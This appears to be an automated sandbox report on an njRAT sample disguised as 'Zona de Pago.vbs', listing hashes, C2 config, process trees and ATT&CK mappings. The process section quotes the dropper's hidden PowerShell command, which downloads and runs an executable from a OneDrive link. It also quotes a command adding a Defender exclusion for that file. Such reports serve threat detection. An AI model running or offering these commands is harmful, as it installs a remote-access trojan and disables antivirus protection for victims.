njrat | 282b7e31f3fff63d2f713d0841e75e52294bb6601454e78bfd9285839ec4a34a

General

Target

Zona de Pago.vbs
Size

162KB
MD5

df165c37e5339e9a1a720e593d8f2eb1
SHA1

29f8959f9934a0a4f64bbdb3dbaa878334814fc4
SHA256

282b7e31f3fff63d2f713d0841e75e52294bb6601454e78bfd9285839ec4a34a
SHA512

277043fe7d52b876d3c8e04d0ae76f232a6e64774aeb89399c1e47952e82c65814e9004a0dcf1a824ca45ce52a05619b33fc7bcb9e33e740ecb83cc20b12b447

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://onedrive.live.com/download?cid=4DBCDBEA8A120146&resid=4DBCDBEA8A120146%21150&authkey=AKfJKvTWpXPaOuE

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

reald27.duckdns.org:3525

Mutex

f45dd4eb26

Attributes

reg_key
f45dd4eb26
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 996 powershell.exe
6 996 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

Hostdyn.exeHostdyn.exe

pid process

2584 Hostdyn.exe
2604 Hostdyn.exe

flow	pid	process
4	996	powershell.exe
6	996	powershell.exe

pid	process
2584	Hostdyn.exe
2604	Hostdyn.exe

Drops startup file 2 IoCs

Processes:

WScript.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zona de Pago.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zona de Pago.vbs	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Hostdyn.exe

description pid process target process

PID 2584 set thread context of 2604 2584 Hostdyn.exe Hostdyn.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

996 powershell.exe
996 powershell.exe
996 powershell.exe
2084 powershell.exe
2084 powershell.exe
2084 powershell.exe

description	pid	process	target process
PID 2584 set thread context of 2604	2584	Hostdyn.exe	Hostdyn.exe

pid	process
996	powershell.exe
996	powershell.exe
996	powershell.exe
2084	powershell.exe
2084	powershell.exe
2084	powershell.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

powershell.exepowershell.exeHostdyn.exe

description	pid	process
Token: SeDebugPrivilege	996	powershell.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	2604	Hostdyn.exe
Token: 33	2604	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	2604	Hostdyn.exe
Token: 33	2604	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	2604	Hostdyn.exe
Token: 33	2604	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	2604	Hostdyn.exe
Token: 33	2604	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	2604	Hostdyn.exe
Token: 33	2604	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	2604	Hostdyn.exe
Token: 33	2604	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	2604	Hostdyn.exe
Token: 33	2604	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	2604	Hostdyn.exe
Token: 33	2604	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	2604	Hostdyn.exe
Token: 33	2604	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	2604	Hostdyn.exe
Token: 33	2604	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	2604	Hostdyn.exe
Token: 33	2604	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	2604	Hostdyn.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.exepowershell.exeHostdyn.exe

description	pid	process	target process
PID 652 wrote to memory of 996	652	WScript.exe	powershell.exe
PID 652 wrote to memory of 996	652	WScript.exe	powershell.exe
PID 996 wrote to memory of 2584	996	powershell.exe	Hostdyn.exe
PID 996 wrote to memory of 2584	996	powershell.exe	Hostdyn.exe
PID 996 wrote to memory of 2584	996	powershell.exe	Hostdyn.exe
PID 2584 wrote to memory of 2084	2584	Hostdyn.exe	powershell.exe
PID 2584 wrote to memory of 2084	2584	Hostdyn.exe	powershell.exe
PID 2584 wrote to memory of 2084	2584	Hostdyn.exe	powershell.exe
PID 2584 wrote to memory of 2604	2584	Hostdyn.exe	Hostdyn.exe
PID 2584 wrote to memory of 2604	2584	Hostdyn.exe	Hostdyn.exe
PID 2584 wrote to memory of 2604	2584	Hostdyn.exe	Hostdyn.exe
PID 2584 wrote to memory of 2604	2584	Hostdyn.exe	Hostdyn.exe
PID 2584 wrote to memory of 2604	2584	Hostdyn.exe	Hostdyn.exe
PID 2584 wrote to memory of 2604	2584	Hostdyn.exe	Hostdyn.exe
PID 2584 wrote to memory of 2604	2584	Hostdyn.exe	Hostdyn.exe
PID 2584 wrote to memory of 2604	2584	Hostdyn.exe	Hostdyn.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Zona de Pago.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value (new-object System.net.webclient).downloaddata( 'https://onedrive.live.com/download?cid=4DBCDBEA8A120146&resid=4DBCDBEA8A120146%21150&authkey=AKfJKvTWpXPaOuE' ) -encoding byte -Path $env:appdata\Hostdyn.exe; Start-Process $env:appdata\Hostdyn.exe"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:996

C:\Users\Admin\AppData\Roaming\Hostdyn.exe
"C:\Users\Admin\AppData\Roaming\Hostdyn.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2584

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Hostdyn.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2084

C:\Users\Admin\AppData\Roaming\Hostdyn.exe
"C:\Users\Admin\AppData\Roaming\Hostdyn.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2604

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Hostdyn.exe.log
MD5
0c2899d7c6746f42d5bbe088c777f94c

SHA1
622f66c5f7a3c91b28a9f43ce7c6cabadbf514f1

SHA256
5b0b99740cadaeff7b9891136644b396941547e20cc7eea646560d0dad5a5458

SHA512
ab7a3409ed4b6ca00358330a3aa4ef6de7d81eb21a5e24bb629ef6a7c7c4e2a70ca3accfbc989ed6e495fdb8eb6203a26d6f2a37b2a5809af4276af375b49078

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
e2fd8c03a41ec2a6b5a1acdf84ffce87

SHA1
08dedbc04b1020bac54ba64cf491db582e6ec2ff

SHA256
20a8d75412ada7012e709b13fa0d6860b4941a9892ab12a3ec8f364b3961c177

SHA512
1c6e342ce69d407500d0a4b5840b977d546535902235505dd818620bdba7ab6294b4e04abdb9ded1519f18abd741fce2adcbe7a977a22b264c5c4f75af89fc97

Download Submit
C:\Users\Admin\AppData\Roaming\Hostdyn.exe
MD5
0bb825d7755c400a76fd8512f6baab38

SHA1
278d3e2ca71d1b8f1e3b521e8885ae13e25d84da

SHA256
2543435084f6e995500f8e9f12312db2da5241029f78418a5308524e295443d9

SHA512
60bd692b834dd5280c93894adcfacde0d11cd0b7ae893a6b5a64cba704a13a0845f65bd322384d19e9eebf6a673a0565308f88769cc99eec4292c0ff2b980e34

Download Submit
C:\Users\Admin\AppData\Roaming\Hostdyn.exe
MD5
0bb825d7755c400a76fd8512f6baab38

SHA1
278d3e2ca71d1b8f1e3b521e8885ae13e25d84da

SHA256
2543435084f6e995500f8e9f12312db2da5241029f78418a5308524e295443d9

SHA512
60bd692b834dd5280c93894adcfacde0d11cd0b7ae893a6b5a64cba704a13a0845f65bd322384d19e9eebf6a673a0565308f88769cc99eec4292c0ff2b980e34

Download Submit
C:\Users\Admin\AppData\Roaming\Hostdyn.exe
MD5
0bb825d7755c400a76fd8512f6baab38

SHA1
278d3e2ca71d1b8f1e3b521e8885ae13e25d84da

SHA256
2543435084f6e995500f8e9f12312db2da5241029f78418a5308524e295443d9

SHA512
60bd692b834dd5280c93894adcfacde0d11cd0b7ae893a6b5a64cba704a13a0845f65bd322384d19e9eebf6a673a0565308f88769cc99eec4292c0ff2b980e34

Download Submit
memory/996-120-0x00000253C2B80000-0x00000253C2B81000-memory.dmp

Filesize
4KB

Download
memory/996-127-0x00000253DD190000-0x00000253DD191000-memory.dmp

Filesize
4KB

Download
memory/996-132-0x00000253C2B70000-0x00000253C2B72000-memory.dmp

Filesize
8KB

Download
memory/996-133-0x00000253C2B73000-0x00000253C2B75000-memory.dmp

Filesize
8KB

Download
memory/996-134-0x00000253C2B76000-0x00000253C2B78000-memory.dmp

Filesize
8KB

Download
memory/996-114-0x0000000000000000-mapping.dmp

Download
memory/2084-186-0x00000000089B0000-0x00000000089B1000-memory.dmp

Filesize
4KB

Download
memory/2084-202-0x0000000009820000-0x0000000009821000-memory.dmp

Filesize
4KB

Download
memory/2084-412-0x0000000009AE0000-0x0000000009AE1000-memory.dmp

Filesize
4KB

Download
memory/2084-406-0x0000000009AF0000-0x0000000009AF1000-memory.dmp

Filesize
4KB

Download
memory/2084-214-0x0000000007243000-0x0000000007244000-memory.dmp

Filesize
4KB

Download
memory/2084-213-0x000000007F620000-0x000000007F621000-memory.dmp

Filesize
4KB

Download
memory/2084-208-0x0000000009B40000-0x0000000009B41000-memory.dmp

Filesize
4KB

Download
memory/2084-165-0x0000000000000000-mapping.dmp

Download
memory/2084-207-0x0000000009990000-0x0000000009991000-memory.dmp

Filesize
4KB

Download
memory/2084-195-0x0000000009860000-0x0000000009893000-memory.dmp

Filesize
204KB

Download
memory/2084-187-0x0000000008860000-0x0000000008861000-memory.dmp

Filesize
4KB

Download
memory/2084-185-0x0000000007F70000-0x0000000007F71000-memory.dmp

Filesize
4KB

Download
memory/2084-176-0x00000000070B0000-0x00000000070B1000-memory.dmp

Filesize
4KB

Download
memory/2084-177-0x0000000007880000-0x0000000007881000-memory.dmp

Filesize
4KB

Download
memory/2084-178-0x0000000007240000-0x0000000007241000-memory.dmp

Filesize
4KB

Download
memory/2084-179-0x0000000007242000-0x0000000007243000-memory.dmp

Filesize
4KB

Download
memory/2084-180-0x00000000077C0000-0x00000000077C1000-memory.dmp

Filesize
4KB

Download
memory/2084-181-0x0000000007F90000-0x0000000007F91000-memory.dmp

Filesize
4KB

Download
memory/2084-182-0x0000000008100000-0x0000000008101000-memory.dmp

Filesize
4KB

Download
memory/2084-183-0x0000000008170000-0x0000000008171000-memory.dmp

Filesize
4KB

Download
memory/2584-162-0x0000000008D60000-0x0000000008D61000-memory.dmp

Filesize
4KB

Download
memory/2584-157-0x0000000005D20000-0x0000000005D21000-memory.dmp

Filesize
4KB

Download
memory/2584-151-0x0000000000000000-mapping.dmp

Download
memory/2584-158-0x0000000005820000-0x0000000005821000-memory.dmp

Filesize
4KB

Download
memory/2584-159-0x0000000005990000-0x0000000005991000-memory.dmp

Filesize
4KB

Download
memory/2584-164-0x0000000009000000-0x0000000009022000-memory.dmp

Filesize
136KB

Download
memory/2584-163-0x0000000008CC0000-0x0000000008D17000-memory.dmp

Filesize
348KB

Download
memory/2584-155-0x0000000000F70000-0x0000000000F71000-memory.dmp

Filesize
4KB

Download
memory/2584-161-0x0000000005A40000-0x0000000005A47000-memory.dmp

Filesize
28KB

Download
memory/2584-160-0x0000000005820000-0x0000000005D1E000-memory.dmp

Filesize
5.0MB

Download
memory/2604-167-0x000000000040676E-mapping.dmp

Download
memory/2604-166-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/2604-280-0x0000000005770000-0x0000000005C6E000-memory.dmp

Filesize
5.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads